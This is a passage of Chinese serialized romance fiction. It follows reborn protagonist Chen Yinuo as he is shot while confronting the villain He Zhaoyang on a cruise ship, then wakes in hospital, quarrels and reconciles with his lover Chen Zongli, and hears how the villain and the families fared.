他和陈宗礼焦急要冲过去救人,完全没察觉贺朝阳的枪口已经慢慢转移,悄无声息地对准了他们。 陈一诺没看见,后面的陈宗礼却看得一清二楚。 当陈宗礼发现枪口转到自己和陈一诺身上时,感觉全身血液都凝固,呼吸也暂停。 过去,奶奶要求他,一定把自己的生命放在第一位。他固然知道自己生命的重要,可眼看着陈一诺挡在他前面可能会中枪,根本控制不住自己的本能。 他以此生最快的速度上前,试图推开陈一诺,目标很明确——如果他们之间要有一个中枪,那这颗子弹不能落在陈一诺身上。 他作出反应的同时,贺朝阳在瞄准镜里看见了他,他邪魅一笑,干脆地扣动扳机。 此时,陈一诺总算回过神来,余光察觉陈宗礼的动作,他的大脑在0.1秒里作出反应跟陈宗礼一样的反应——推开他,直接加速冲贺朝阳的方向扑过去。 “砰——”一声枪响。 陈一诺的身体机械地作出中枪的反应——身体抖动,往后推了半步。 “一诺!”陈宗礼绝望的喊声和无情的枪声,同时传入耳朵。 第一次被子弹击穿身体,陈一诺刚开始只觉得酥酥麻麻,仿佛有东西往身体里钻。酥麻感消退后,剧烈的疼痛正式传达到大脑。 可他的大脑并没退却,短暂停止后,他的意志坚持着他继续往前,冲着持枪的贺朝阳扑过去! 他心里很清楚,要把贺朝阳摁死,这一枪足以! 但他也清楚,贺朝阳必然会开第二枪——射向陈宗礼的第二枪! 贺朝阳完全没想到,中枪后,陈一诺依然能朝他走过来,这人脸色苍白像极了索命的丧尸。 贺朝阳被这一幕吓呆了,甚至忘记要开枪。而陈一诺已经冲到他面前, 他下意识往后推一步,腰部抵住栏杆,努力不让自己掉下去。他忍不住往下一看,倒吸一口凉气。原来,身后的围栏下方并不是海,而是另一层甲板,目测有十几米的高度,人摔下去必死! 回头看踉踉跄跄的陈一诺,他身上的黑西装上,心脏附近的弹孔清晰可见,汩汩流着血,猩红的眼睛紧紧盯着自己,仿佛是地狱来的使者,让贺朝阳后背发凉。 他颤抖的手拿起枪,怒吼:“陈一诺,站住!别逼我开第二枪!” 陈一诺疼得思维错乱,不停重复上辈子的记忆。 他的腿在监狱里被打断,听到陈宗礼被撕票的消息,老太太的猝逝,看着老宅老榕树被砍……疼痛的记忆,疼痛的感觉,清晰地折磨他…… 他的声音哑得吓人:“贺朝阳,我等今天等很久很久了!今天,一定要你血债血偿!” 陈一诺像中了蛊,唯一任务就是跟贺朝阳同归于尽。 他不顾一切地扑向贺朝阳,“砰——”开了第二枪。 与此同时,“聂加开枪!” 朦胧中似乎听见陈宗礼的声音,接着传来模糊的枪响,一声,两声…… 枪声结束后,面前的贺朝阳双膝喷出一股鲜血,耳边传来吴丹妮哭天抢地的哀嚎。 接着贺朝阳那双三白眼失去了光彩,无力地跪倒在他面前。 中枪的陈一诺脑袋昏沉,“砰——”地一生,也跪倒在甲板上。 陈一诺晕厥前最后的记忆:他跟他的仇人,居然对拜了! 他的第一次对拜对象,居然是跟贺朝阳! 死不瞑目啊! …… 陈一诺做了一个极度混乱,又极度紧绷的噩梦。 梦里全是上辈子和这辈子的人和事集合,不同时空的记忆混杂在一起,让他彻底混乱了。 他一会儿梦见自己在监狱里,一会儿梦见自己在赛车场,眨眼间又成了羽南港的竞标现场…… 由于脑子里同时拥有两份记忆,梦里时常提心吊胆,总害怕遇见这辈子的人时,说了上辈子的事。以至于在梦里他也能感觉自己精神非常紧绷。 特别是梦见陈宗礼的时候。 上一秒,看见这辈子的陈宗礼,刚要上去牵他的手,下一秒,发现他根本抓不住对方的手,陈宗礼转过头跟他说:“我已经死了。” 悲伤的情绪像火山爆发,把他拉进满是熔岩的地狱中。 又或者,上一秒,以为陈宗礼死了。下一秒,看见陈宗礼站在老宅门口朝他张开双手,他飞奔到陈宗礼身边,这一次,他扎扎实实抱到了陈宗礼。 陈一诺满足地看着陈宗礼,撒娇:“哥,我好想你啊……” 陈宗礼上斜眼弯弯,笑他:“我也好想你。” 紧接着,目光一凉:“可惜,我已经死了……” 上斜眼忽然被挖空,汩汩冒出黑血,成了可怖的尸体。 “啊——” 陈一诺全身冒冷汗,肌肉紧绷着惊醒,他先是睁开眼睛,大口大口的呼吸。 闯入眼帘的一切都是模糊的,旁边摆放着发光仪器,他没戴眼镜看不清是什么,只听见“滴——滴——”的声音。 他抬头,看见斜上方挂着一瓶吊瓶,冰冷的液体慢慢注入体内,鼻尖传来淡淡的消毒水味。 视觉、嗅觉把资料收集到大脑,让他确认自己在医院。 除了大脑,其他知觉也在逐渐恢复,他察觉在呼吸时会牵动胸口某个部位,接着便传来隐隐痛感,但尚在可承受范围之内。 记忆开始回笼,他们揭发了李家纯的私生子其实是贺朝阳做的局,李家纯当场要杀贺朝阳,结果自己先被气倒下。 贺朝阳和董城分别挟持了老太太和二婶,最后,董城被狙击手狙击坠海,二婶获救。 而贺朝阳突然发烂,甩开老太太,并对他开了一枪。贺朝阳对他开第二枪的时候,他腿上也中了枪,他们两个仇人一起跪在地上对拜。 然后,他就昏倒了。 “……” 最后的画面实在太诡异了。但他好歹活了下来。贺朝阳就不同了,他活下来就是最大的惩罚。 他如释重负地叹了口气。 “一诺……”一把颤抖的声音喊他的名字,他手侧的温度忽然凉下来。原来,刚才一直有人趴睡在他病床边,他没发现。 那人凑到他面前,那双无情的上斜眼布满血丝,下巴也都是胡渣,是他从没见过的陈宗礼。 邋遢版的陈宗礼。 物以稀为贵,所以,他私心觉得挺好看的。 陈宗礼压抑着激动,追问:“一诺,看得见我吗?感觉怎么样?” 陈一诺用尽全力举起自己麻木的手,摸了摸他的脸。陈宗礼很贴心,主动把脸贴上他的手心,是有温度的。 看他想说话,陈宗礼颤抖着手,慢慢摘下他的氧气罩。 本来,陈一诺该说一句:你瘦了。 但噩梦里的陈宗礼太让他心有余悸,问道:“你还活着吧?” 陈宗礼愣了愣,手搭在他脑袋上,确认没发烧,难道是做梦说胡话? 他安慰道:“只要你活着,我就死不了。” 陈一诺不相信,盯着他看了一会儿,看他人是暖的,七窍也没流血,这才松了口气。 他没有在做梦,真的醒过来了。 “我昏迷了很久么?” 陈宗礼捏着他的手指,回想起贺朝阳那两枪,还是会有应激反应。他努力维持着声音的平稳。 “你中枪后到现在,已经过去七天了。” “那晚,船上太多伤员。我们叫了两架救援直升机把你们送到医院。” “医生给你做了十几个小时的手术,子弹被完全取出,还好第二枪射歪了。你知道吗,医生说,第一颗子弹距离心脏也就2厘米的偏差。” 陈一诺感叹:他又从死神手里逃了一回。 他手指挠了下陈宗礼的下巴:“中枪那天开始,你一直守在这里?” 陈宗礼那张向来冷酷的脸,此刻温柔得溺死人:“恩,我要你醒过来的时候,看见的第一个人是我。” 陈宗礼这句话太犯规,陈一诺闭上眼睛缓了缓,心潮澎湃道。 “陈宗礼,脸凑过来,我要坚定地亲你一口。”—— 作者有话说:本来计划停在“仇人对拜”那里,但这个读者还算有点良心,多写了后面的一些。看在没吊着大家的份上,请各位小天使追追连载~谢谢! 第85章 这是第一次,陈一诺主动对陈宗礼倾诉爱意。 陈宗礼却没把脸凑过去,而是直接亲上陈一诺的唇。担心他的伤,这个吻并不激烈,也不深入。 只敢蜻蜓点水般地短暂吻了吻。 陈宗礼手指描摹着陈一诺的眉眼,温柔又贪婪:“吻先欠着,等你好了,主动找我补上。” 陈一诺全程没闭眼,所以能在陈宗礼吻上他时,看见对方眼角的潮意。 不难想象自己昏迷的这七天,陈宗礼内心的焦急,心脏莫名有些愧疚。 他安慰道:“我已经没事了。” 他本想用一句轻轻松松的话,给陈宗礼煎熬的七天,画上一个句号。 没想到,激出陈宗礼一句:“你本来可以没事的。” 这七天,他在等待陈一诺苏醒的时候,总是自虐般一而再再而三地回忆当晚的细节,次数多了以后,以他的智商,不难察觉出陈一诺的不同寻常。 他咬着后牙槽,内心知道现在不是讨论这件事的好时候,可还是忍不住。 “陈一诺,你老实说……” “贺朝阳的第一枪,你是为了救我。但第二枪,你是故意的,故意逼他开枪,对不对?” 陈一诺眼睛闪躲,开脱道:“怎么可能,中枪多疼啊,还可能会死……” 陈一诺的解释没有任何用,从陈宗礼紧绷的下颌线就知道,他在强压着情绪。 他自顾自地问:“是啊……你可能会死,但你还是决定要冒这个险,为什么呢?” “哥……”陈一诺有苦难言,他深深吸入一口气,胸腔因为过度起伏,牵扯到伤口,这句话也被生生打断。 陈宗礼继续往下说:“你是觉得不这样做,没法摁死他……对不对?” 疼痛缓解,陈一诺也不隐瞒了:“在那种情况下,如果他不开枪,以贺家的手段和律师团队,我们根本抓不住他!” “本来,最好的解决方法是借刀杀人,让李家纯在怒火中烧时击毙他。没想到,他先倒下了。” “我只能逼他开枪。等人证物证俱在,他才可能被彻底解决!” 陈宗礼的气息在他耳边传来,呼吸声很重,陈一诺知道,他更气了。 “陈一诺,如果子弹再偏个2厘米,今天就是你的头七,你知不知道!” “抓住一个贺朝阳,比你的命重要吗?” 他从没见过陈宗礼发火,猛然被他的表情震慑住了。他心里知道,贺朝阳这个人一日不铲除,他还会有层出不穷的损招。 上辈子经历过的事,他尚且能用重生的金手指兜底。 万一他还有陈一诺没遇到的新招呢? 难道还要重蹈上辈子的覆辙,看着陈家的人一个一个死去,慢慢被贺家清理干净吗? 不可能! 为了无后顾之忧,他在上船前就暗自决定,哪怕豁出命,也要把贺朝阳抓住! 但这个理由,陈一诺不可能告诉陈宗礼,他只能隐去上辈子的事情,解释道:“我知道我的命重要,但在贺朝阳这件事上,我一定要搏一搏。” “搏一搏?”陈宗礼有些难以置信,“你在搏的时候,会不会想到自己会死?会不会考虑,你死了以后,我、你的家人会很伤心,很难受?” 陈一诺想说,他不搏,将来死的人,可能就是你,是陈老太……那种伤心,难受,我早就经历过了。 但这些话,他没法说。 他抓了抓陈宗礼的手,被盛怒中的陈宗礼一把甩开。 陈一诺故意嚷道:“啊,好疼——” 陈宗礼担心他身上的伤,顾不上生气,俯身身问他:“怎么了?” 陈一诺顾不得身上有伤,用力抬起头,快速亲了陈宗礼的嘴角,低声下气道:“哥,我知道错了。你生气别过心。” 陈宗礼这才想起,他的伤根本不在这边,猛地后退一步,怒道:“陈一诺,你再装!” 被识破的陈一诺拽住他的手,解释道,“我错了,我错了吗……” 陈宗礼骂道:“你真的知道错了吗?那再来一次,你还是会这么做吗?” 陈一诺几乎没有犹豫:“会。” 陈宗礼咬牙:“所以,你还是没错。” …… “什么错没错呀?” 庄嘉轩和陈宗瑜同时出现在病房门口,病房在外就听见陈宗礼不知道跟谁说话,一句我错了,一句你错了。 结果发现,说话对象居然是昏迷多天的陈一诺! 陈宗瑜立刻红了眼眶,一个箭步越过陈宗礼,走到病床边,眼泪簌簌往下掉:“一诺哥哥,你醒了啊!感觉怎么样了?” 陈一诺看了眼被挤开的陈宗礼,心里庆幸陈宗瑜帮忙解了围。 他虚弱道:“刚醒,伤口还有些疼。” 陈宗瑜擦干眼泪,对陈宗礼说:“叫医生了吗?” 刚吵完架,气还没消的陈宗礼硬邦邦道:“没。” 庄嘉轩一脸错愕道:“你在这里陪了七天,好不容易人醒了,你冷着脸跟病人讨论什么对错啊,熬夜熬疯了?” 陈宗礼看着他们一唱一和的,只能把闷气憋回去,他甚至没按护士铃,直接转身出去喊人。 很快,医生和护士推着设备过来。医生给陈一诺查看伤口情况,护士给他戴上检测仪器。 忙活了大概半小时,医生把听诊器重新挂回脖子上,对陈宗礼道:“枪伤的位置刚换了药,伤口恢复得还可以,后面好好静养就行。” 陈宗礼追问:“身体其他部位呢?” 医生淡淡道:“暂时看不出什么问题,不放心的话,可以再做一次全身检查。” 陈宗瑜立刻道:“那肯定要再做一次才安心啊,医生辛苦你安排。” 医生点头:“好的,我这就安排。” 送走了医生,病房里的“硝烟”味,还久久不散。 陈宗瑜不知道他们吵什么,但看陈宗礼的脸色阴沉,道:“哥,你回去休息一下吧,换我照顾一诺哥哥。” 架只吵了一半,陈宗礼是不愿意走的。可庄嘉轩说:“对啊,你看看你,胡子拉碴,澡也没洗,太邋遢了!别刺激咱们娇弱、敏感的病人。” 陈宗礼这才想起自己为了陪床,确实不修边幅,邋遢地出现在陈一诺面前,吵架气势都弱了。 他叹了口气,妥协道:“那我回家一趟,晚点再过来。” 走之前,他瞥了眼庄嘉轩:“你怎么不走?” 庄嘉轩看看陈宗瑜,又看看陈一诺,眼神反复在问:女朋友跟“绯闻情敌”共处一室,我怎么能离开?!! 陈宗礼不知道读没读懂,反正无力地摆摆手,面无表情离开了病房。 …… 送走了陈宗礼,陈宗瑜才敢跟陈一诺说点悄悄话。 “一诺哥哥,你还有哪里不舒服?看你脸色都白了。” 陈一诺目光从陈宗礼的背影拉回来,抿了抿嘴:“我没事,对了。奶奶和二婶怎么样?船上其他人还好么?” 陈宗瑜笑笑:“我妈坠海的时候晕了过去,还好他不要命地扑上去救人,送医院以后很快就醒了。” 庄嘉轩飞身救吴淑芬的画面,还历历在目。虽然凶险,好歹人没事。 “她住了几天医院,医生说没有大碍,已经回家了。虽然,偶尔做梦会梦见被挟持的画面,不过,跟心理医生聊了聊,好很多。” 陈一诺点点头:“那就好。” 陈宗瑜忽然凑到他耳边,说道:“我跟你说,我妈昨天跟我说,想请庄嘉轩上门吃饭。说要感谢他。” 陈一诺瞪大双眼:“哦,还因祸得福了?!” 陈宗瑜点头:“是啊,他可算守得云开见月明了。” 陈一诺“切”了声:“我们宗瑜守得云开见月明才对。” 陈宗瑜害羞地低头:“嘿嘿~” 庄嘉轩看他们小声说话,脸上有些不悦,但又没立场不让兄妹“咬耳朵”,只能道:“喂,聊天声音大一点吗,该不会在小声说我坏话吧?” 陈宗瑜脸上还有红云:“是,说你小气!” 陈一诺摆摆手:“继续说,老太太怎么样了?” 陈宗瑜:“奶奶撞到头,颅内出血做了紧急手术,不过你放心,手术很顺利,目前已经醒了,不过还有些脑振荡,动不动就头晕。还得观察一段时间。” 陈一诺担心地蹙着眉,继续追问:“那李家纯呢?” 庄嘉轩立刻冷笑了声:“他呀……就没那么好彩咯。” “儿子没了,受刺激太大,突发脑梗,在海上又耽误了救援,送到医院的时候已经脑缺氧一段时间,现在成植物人了。” “这几天,宏发股价大跌,秦伯母和思维姐临危受命,开始管集团的事。” 这个结局还挺让人意外,陈一诺追问道:“那……秦伯母还离婚么?” 陈宗瑜:“李家纯这种状态也离不了啊。反正权利、金钱、地位都到手了,离不离差别不大。不过,秦伯母把气全撒在贺家头上。” “贺朗还想让人上船偷监控。还好李思维先下手为强,早早把当晚的监控保存下来。” “现在,李家纯的弟弟也找到了。老实人一个,看见亲哥成植物人,又哭又闹什么都招了。” “最开始,他跟董城在赌场遇到,一起玩赢了不少,结果一发不可收拾。你也知道十赌九输,钱还不上,贺少就借给他,结果越赌输越多。贺少就让他跟几个小明星上床。后来就有了Linda那件事了。” 陈一诺摇摇头:“贺朝阳这招太缺德,李家这回差点家破人亡。” 庄嘉轩冷笑:“所以啊,恶有恶报!贺朝阳腿部中了两枪,失血过多,后来被感染,医生说只能截肢,现在成废人了。” 陈一诺猛然睁开眼,看着他们,重复道:“他的腿……断了?” 第86章 原来,天道真的有轮回! 上辈子,他的腿被贺朝阳弄断,这辈子,换贺朝阳受这份罪。 陈一诺并非迷信的人,但听到这个消息,第一反应就是报应。 他挣扎着从病床上坐起,追问道:“他的腿断了?怎么断的?” 陈宗瑜惊讶:“你不知道?” “我还以为,你刚刚跟陈宗礼吵架,是因为这个。” 陈一诺更疑惑了:“不是啊。这跟他有关系?” “当然有啊。”陈宗瑜解释,“但我说句公道话,你听完也别怪陈宗礼。当时,你中第一枪的时候,陈宗礼跟你的保镖,担心贺朝阳补枪,情急之下,一人开了一枪。” “刚好一颗子弹一条腿。” 庄嘉轩补充:“贺朝阳还真的又补了一枪,不过射歪了。” “当时,我这边刚把阿姨救下来,远远看见贺朝阳中枪后,跟陈宗礼不知道说了一句什么,听完,他就失了控似的,跑过去揍贺朝阳。” “我从来没见过这么失控的陈宗礼,双眼通红,满身杀气。要不是你的保镖拦得快,贺朝阳等不到救援直升机,估计直接死在邮轮上。” 陈一诺喃喃:“那……贺朝阳的腿断了,贺家会善罢甘休吗?” 庄嘉轩惊讶于陈一诺的反应,重伤刚醒,头脑还如此敏捷。 他挠挠头,有些吱唔:“按照医生的诊断,主要因为中枪部位受感染,不得不截肢。但贺朝阳他妈目睹了全过程。直接大闹医院,说是陈宗礼害他儿子没了两条腿。现在……反过来告他谋杀。” 陈一诺眉头一蹙,难以置信道:“什么?!” 陈宗瑜脸色也不好看:“你放心,这些事也不是他们说什么就是什么。陈李两家的律师团队都不是吃素的。贺朝阳诈骗、挟持人质、还对你开枪,那都是人证物证俱在,板上钉钉的事。” “陈宗礼最多被指控一项过度防御。按照王律的意思,他开枪的目的是为了阻止贺朝阳对你造成二次伤害。从目前证据看,他被判无罪的几率还是很高的。” 陈一诺这才松一口气,喃喃道:“那就好,那就好……” 得知陈宗礼差点杀了贺朝阳的时候,陈一诺全身的鸡皮疙瘩都起来了。 这是他重生以来,最后怕的时刻。 重生这一趟,他觉得自己的生命延长了一倍。也戏剧性地把他的人生,强拆成上下两集。 他在上集的波谲云诡里,一步错步步错,最终丢了性命;在下集的重启人生中,步步为营。他总觉得自己重生的任务之一,就是要对让大反派贺朝阳受到应有的惩罚。 于是,他在船上孤注一掷,引贺朝阳向他开枪。因为他只要开枪,故意杀人的罪名就定了。 但他万万猜不到,这辈子,他跟陈宗礼成为了恋人。 于是,当他被贺朝阳击中后,陈宗礼为了替他报仇,不但对贺朝阳开了枪,还差点因为情绪失控“激情杀人”。 跟王之初律师混了那么久,正当防卫和防御过当之间的差别,还是多少了解。如果按陈宗瑜说的,正当防卫当然最好,但他也清楚,法律上对这个行为的定性是有难度的。 而让他后怕的是,万一陈宗礼真的为他杀了人,堂堂太子爷沦为“杀人犯”锒铛入狱,陈一诺报复贺朝阳的意义到底是什么? 庄嘉轩跟陈宗礼关系更好,自然多说一些好话:“虽然不知道你们刚刚吵什么,但我不是偏帮兄弟啊,就是觉得这些事你多少该知道。” “除了刚说的那些,那晚你中枪后,从你送进医院、手术室抢救还有你昏迷的这段时间,陈宗礼几乎寸步不离,还要照顾老太太,简直住在医院,整个人瘦了一圈呢。看在这份上,饶了他吧。” 本来就内疚的陈一诺,听到庄嘉轩这句,想起睁开眼看见陈宗礼的憔悴,心里更难受了。 陈宗瑜看陈一诺脸色苍白,瞪着庄嘉轩,示意他别说了,柔声道:“一诺哥哥,你才刚醒,别想太多了,你再休息一会儿吧,我看你挺累的。” 陈一诺扯了扯嘴角,应了声:“好。” 说完慢慢平躺回病床上,闭眼前,他忽然问:“那天,贺朝阳到底跟陈宗礼说了句什么?” 他非常想知道,那句能让陈宗礼彻底丧失理智的话,到底是什么…… 陈宗瑜面有难色,沉默了半晌。 “他说,陈宗礼我真羡慕你,每回都有陈一诺当你的替死鬼!” 杀人诛心。 他说的每回,实际上是两回。 第一回,当年陈一诺出国,让陈宗礼挽回董事会的信任。 第二回,贺朝阳的第一枪瞄准了他们两个,但陈一诺先替他挡了。 陈一诺出国这件事,是陈宗礼无法释怀的心病,如今,贺朝阳不但哪儿疼戳哪儿,还用陈一诺身上新鲜的弹孔,刺激陈宗礼。 别说陈宗礼要杀人,陈一诺现在都想杀人! …… 等陈一诺再次醒来,陈宗瑜和庄嘉轩已经走了,病房里很安静。 陈一诺恍惚地看着天花板,他不知道自己怎么睡着的,也不知道自己睡了多久,只记得睡前的满腔怒意。 恍惚间,他甚至在想,他们真的有来过吗?那些对话真的存在过吗?抑或全是他的梦。 病房的门“唰”地被推开,陈宗礼先朝病床看了眼,发现陈一诺也在看他,顿了顿:“醒了?” 陈一诺有些沙哑地应了声:“嗯。” 陈宗礼进病房,反手关上门。走近,陈一诺才看清他换了一身灰色运动套装,身上飘来一股馥郁的红茶香气,整个人清清爽爽,跟离开前的那个颓废的陈宗礼判若两人。 兴许是分开后,各自冷静过,加上陈一诺知悉了内情,一时间,他跟陈宗礼之间居然有些尴尬。 “啪嗒——”陈宗礼把一个精致的盒子放在茶几上,他以为陈一诺会再睡久一点,没想到他来的时候,对方已经醒了。 两人明明是那么亲密的关系,此时的气氛却有些微妙。 陈一诺率先打破尴尬,眯眼看着茶几上的盒子:“那是什么?” 陈宗礼摸摸鼻子说道:“食盒,兰姨给你准备了清粥小菜。二婶给你准备了点心。” “她们听说你醒了,说要一起过来看你。但兰姨最近忙着照顾奶奶,又担心你,精神状态不好,二婶刚出院,我就没让她们来。” 陈一诺点点头,声音还是哑:“替我谢谢兰姨和二婶。” 对话中断,病房陷入沉寂,彼此尴尬地结冰。那么多年还是头一回。 陈宗礼有些局促,问道:“你饿了吗?要现在吃吗?” 从醒来到现在,陈一诺滴米未进,说起来确实有些饿,他点头:“好。” 陈宗礼把陈一诺从床上扶坐起来,升起床板调到舒适的角度,再把餐桌推到病床中间,摆上食盒。 食盒是黑底梅花纹,一共三层。 第一层是腐竹白果粥:放在炖盅里煮得绵密细腻,米香诱人,白果可口。 第二层是小菜三款:豆鼓橄榄菜、香腌萝卜头以及菜脯煎蛋,咸香具备,勾人口水。 第三层是二婶准备的小点心:小米糕、马蹄糕、桂花糕,还没入口,已经闻到甜丝丝的味道。 他看着面前摆得满满当当的食物,惊讶道:“那么多?” 陈宗礼无奈地耸肩:“这已经是我拼命拦着的份量了。” 天知道兰姨和二婶在老宅准备食盒时的阵仗多吓人,幸亏他跑得快,否则,不止一个三层食盒。 陈一诺完全能想象当时兰姨和二婶对满桌的菜挑挑拣拣,结果陈宗礼提着食盒逃跑的画面,心里涌出一阵暖意。 他勾起嘴角,勺子舀了舀炖盅里的白果粥,飘出淡淡米香,馋虫轻松被拿捏。他喝了一大口,米粒绵软,浑身暖和,一本满足。 陈宗礼看他拿着筷子在小菜和点心之间,左右为难,不知道先吃什么。这样充满“活人感”的,健健康康的陈一诺,是过去七天,他心里唯一许的愿。 正如庄嘉轩说的,他在这里等了七天,好不容易人醒了,他居然跟陈一诺讨论对错,确实不应该。 生死都越过了,对错又算什么? 陈一诺余光知道陈宗礼在看自己,有些吃不下咽,抬头问:“哥,你吃饭了吗?” 陈宗礼:“着急过来,随便吃了几口。” “哎呀,勺子和筷子我都用过了”,陈一诺把剩下的小叉子递给他:“将就着陪我吃点吧。” 陈宗礼直接抢过他的筷子,侧身坐在床边,冷不丁地:“吵个架还生分了,我怕你那点口水?” 陈一诺喃喃:“我不是……” 陈宗礼没理他,直接拿他用过的筷子分吃桌上的菜。陈一诺咽下一块菜脯煎蛋,掩饰自己喉头的滚动,耳朵也觉得莫名发热。 陈宗礼吃相很优雅,慢条斯理的,不爱说话。陈一诺相反,吃得很快,还爱说话。以前在老宅吃饭,总跟陈宗瑜一起,说些学校里的趣事,逗二婶和老太太笑。 兴许吵架了,人与人之间氛围就跟以前不一样。不知道对方还气不气,不知道怎么开口,反正就是别扭…… 他把桌上的菜都吃完,看陈宗礼大少爷给他收拾好餐桌,终于忍不住试探。 “我中枪后船上的事,宗瑜他们都跟我说了。” 陈宗礼从卫生间洗手出来,擦手的动作顿了顿,问道:“嗯,有什么感想?” 陈一诺舔舔嘴,在不牵扯伤口的前提下,慢慢盘起腿,拍拍床边,示意陈宗礼过来。 陈宗礼没表情地走到病床前,没有坐下,只淡淡看着他。 陈一诺主动牵过他的手,把他拉近半步,眨着一双大眼睛,郑重道:“哥,我错了。” “再来一次。我一定不会为了抓贺朝阳,把自己的命豁出去。” 决定说出这番话的时候,陈一诺内心是惊讶的。 在此之前,他重生的唯一任务就是复仇。可不知不觉间,他新增了一个任务——跟陈宗礼一起好好活着。 这个任务,甚至逆袭了“复仇”,成为他的首要任务。 为此,他不再固执,如果重来一次,他愿意放弃复仇,选择跟陈宗礼一起活下来。 陈宗礼不明白他180度大转变的原因,他坐在病床侧,问道:“是因为,我差点失控杀了他,才这么说吗?” 陈一诺没说是,也没说不是,自顾自地说出心里话:“我一直以为彻底解决了贺朝阳,我们以后的日子就好了。” “但没想到,看见我出事,你会失去理智,全然不顾后果,不考虑以后。” 陈一诺很难想象,这双不怒自威的上斜眼,在甲板上看着他中枪,猩红着眼朝贺朝阳冲过去时,到底在想什么……跟贺朝阳同归于尽的时候,心里又是如何绝望。 “但如果再来一次,你还会这么做么?” 同样的问题,陈一诺反问陈宗礼,对方却不假思索:“会。” 陈一诺握着陈宗礼的手,有些颤抖:“陈宗礼,你太双标了。” 明明要求他不要为了报复豁出命,却为了他,豁出所有报复别人。 陈宗礼听他说完,淡淡道:“你没发现吗?我只对你双标。” “你似乎不知道自己在我心中的份量。也不知道我有多爱你。” “陈一诺,你就是我的身家性命。” 第87章 夜幕低垂,港城今夜又降温,病房里自带晕黄色顶灯,照得人暖融融的。 杀伤力巨大的一句话,被陈宗礼举重若轻地说出了口。 陈一诺被这句话,杀得措手不及,伤口连同偏两厘米的位置,剧烈疼痛。 他愿意豁出生命去保护的人,同样愿意豁出一切保护他。 他从没如此清晰地、具象地懂得,爱是什么。陈宗礼却已经把身家性命,都掏出来给了他。 他伸手去碰陈宗礼的手,承认道:“以前确实不知道,现在知道了。” 陈宗礼喃喃:“所以你要好好活着。你好好活着,我们才能好好活着。” 陈一诺用脸触碰陈宗礼的手,重生以来,顺遂的事件一件接一件,让他有时候幸福得让他觉得害怕。怕这一切只是一场梦。 等他醒了,这一切从没发生过。 可陈宗礼的叮嘱,他掌心的温度,让他清楚意识到,这一切都是真的。 只要他活着,他就配得到世上的一切事物。 他哑声应道:“好,我要好好活着,好好爱你。” 陈宗礼坐在陈一诺的病床旁,瞳孔震动一瞬。他了解陈一诺的性格,感情表达是他的短板,既渴望被爱,又不知如何去爱。 为此,他从没想过,陈一诺会突然说出“爱你”这种回应。 他手指捏着陈一诺的下巴,话里满是不相信:“陈一诺,你的话我还能信吗?” 陈一诺的信誉在陈宗礼这里屡次三番刷新底线,毫无信誉可言。 被掐着下巴的陈一诺没戴眼镜,眼神雾蒙蒙,看着就很好欺负。 他忙说:“当然能,除了你,还有谁能为我杀人。 “我这还不爱你,岂不是太身在福中不知福了?” 说罢,像是意识到自己说的话很肉麻,有些不好意思,不敢看陈宗礼。 陈宗礼笑了:“你别光说不做,我好歹企图为你杀人,你能为我做什么?” 陈一诺沉默了一片刻,忽然低头轻轻咬上他的手指。 手指神经多,本来就敏感,忽如其来咬一口,让陈宗礼有种蚂蚁噬心的感觉,半边身子都被啃得酥麻。 他抬起掌心卡住陈一诺的下巴,不让他再低头咬人。 陈宗礼皱眉道:“陈一诺,你狂犬病犯了?!” 陈一诺嘟着一张无处安放的嘴,嘟囔着:“你不是问我,你为我杀人,我能为你做什么……我能为你咬人,还能……咬你……” 说完,为了展示自己的牙口健康,上排牙跟下排牙,还“咔呲咔呲”张合着。 陈宗礼手指在他牙齿上划了划:“说你像狗,你还真的学狗咬人啊?” “那你想怎么样?” 陈一诺用没受伤的手往前扒拉陈宗礼,但他的身高、臂长优势太明显,只要跟陈一诺保持一臂距离,陈一诺根本碰不到他。 陈宗礼垂眸看着陈一诺的手在空气里虚弱扒拉着,忽然很滑稽。 突然,他使坏把手松开,陈一诺的上半身惯性往前栽,陈宗礼怕他碰到伤口,立刻上前一步扶住他的肩膀,两人瞬间面对面拥抱着。 陈一诺得逞似弯起嘴角,单手顺势环上陈宗礼的腰,脑袋埋在他的腹部,不动了。 陈宗礼:“……” 小时候,陈一诺准备咬人,也像现在这样,不动,然后暴起。 那时候,他咬人没轻没重的,特别疼,有时候留下的牙印,先是红,然后肿,最后淤青。至少得缓一周咬痕才能淡。 熟悉的感觉袭来,陈宗礼直觉他准备咬人,身体本能地发出危险警告,核心紧绷。 他哑着声音警告:“陈一诺,不许咬人!” 陈一诺脑袋钻进他衣服,瞬间被红茶味笼罩,他声音听着有些闷:“不咬人,我突然想吃巧克力。” “狗吃巧克力会死!”陈宗礼冷冷回应。 陈一诺“嘿嘿”一声,辩驳:“我不是一般的狗。” 果然,他“昂”咬一口,咬上他巧克力般线条流畅的腹肌上,接着第二口,第三口…… 原来,他要吃的巧克力是这个…… 本以为是掉块肉的疼,结果,咬人的力度很轻很柔,本来已经消退的蚂蚁噬心卷土重来。 一种奇妙的感觉跟陈一诺啃咬的刺激成正比例增长,蔓延到全身,血液快速聚集,查觉不妥的陈宗礼立刻咬紧后牙。 他按着他的脑袋,压低声音:“陈一诺,你要干什么?伤还没好呢!!” 陈宗礼的反/应很直接,陈一诺发现了。 他停止了啃咬,从卫衣里钻出来,用蒙着雾的大眼睛看着他,口水拉丝挂在嘴唇上,有些水光,下巴有意无意刮蹭着陈宗礼,反问:“是不是不疼。” 陈宗礼已经知道陈一诺想干什么,呼吸明显乱了,手不自觉兜在他后脑勺上,揉着细软的卷毛,咬牙问道:“陈一诺,学坏了……” 陈一诺把这句话,当成陈宗礼的加奖,眼睛勾着他:“那你认真看看,我能为你坏到什么地步……” 陈宗礼没说话,但他的眼睛是红的。何止是红,呼吸还很重,陈一诺弯了弯眼睛,手指勾着衣服下摆,脸复贴上去。 猝不及防的一阵暖意,让陈宗礼忽然停止呼吸。那种不同于痛或者痒的感觉,占据他的大脑,心里眼里只有小卷毛的讨好。 昏黄色的顶灯,在他眼里涣散成七色光圈,他像一个在夏日正午抬头看太阳的勇士,眯着眼睛,额上滲出一层薄汗。 大脑内闪过一道又一道白光,仿佛经历了一场毁天灭地的轰炸。 不知过了多久,最终,仅剩一片颓垣败瓦。 …… “啪——” 洗漱完的陈一诺,一口气狂灌了两杯水,陈宗礼问:“还要吗?” 陈一诺应激地狂摆摆手:“不要了不要了……”说完,慢慢悠悠往病床走。 陈宗礼把用过的纸巾丢到垃圾桶,从背后搂着他,问道:“好点没?” 陈一诺摸着自己的喉咙,哑着声音控诉:“陈宗礼,你过安检的时候能过吗?他们没说你带刑具吗?” 陈宗礼被他的形容逗笑了:“我逼你那是刑具,可你是自愿的,埋怨什么?” 